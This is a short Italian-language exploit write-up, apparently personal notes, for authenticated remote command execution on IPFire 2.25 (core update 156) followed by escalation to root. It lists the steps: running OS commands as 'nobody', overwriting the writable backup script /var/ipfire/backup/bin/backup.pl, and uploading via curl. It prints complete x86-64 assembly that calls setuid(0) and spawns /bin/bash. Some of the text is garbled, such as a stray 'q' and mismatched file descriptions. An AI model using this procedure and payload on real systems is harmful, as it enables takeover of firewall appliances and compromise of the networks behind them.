Ipfire 2-25 (core update 156) RCE autenticata

• il sistema esegue comandi quando installa qualsiasi pacchetto

• il sistema recupera 7zip direttamente dall'HTML

• e controlla la directory tmp

• versione 2.25 - core update 156

• ipfire consente di eseguire comandi OS arbitrari come utente nobody dopo il login

Diventa root!

• controlla i binari suid

• il programma di backup esegue un altro script. /var/ipfire/backup/bin/backup.pl (è uno script bash e i permessi sono molto buoni)

• prova a scrivere nello script bash. (Nessun errore. BENE!)

• prova a eseguire bash

• sì, possiamo eseguirlo, ma ha privilegi bassi. dobbiamo attivare setuid(0)!
• salva questo ed esegui alti name.asm q
• alti è il mio programma di compilazione/verifica personale nel repository soo_deep.

bits 64
section .data
  string db "/bin/bash",0x00
  olmadis db "basarisiz.",0x0a,0x00
  olmadil equ $-olmadis
section .text
  global main
main:
  mov rax,105
  mov rdi,0
  syscall
  cmp rax,0
  je getbash

  mov rax,1
  mov rdi,1
  mov rsi,olmadis
  mov rdx,olmadil
  syscall

  mov rax,60
  xor rdi,rdi
  syscall

getbash:
  mov rax,59
  mov rdi,string
  mov rsi,0
  mov rdx,0
  syscall

• e scrivi il nuovo programma in /var/ipfire/backup/bin/backup.pl. (possiamo usare un server HTTP Python e curl per scriverlo)

• e goditi la shell di root!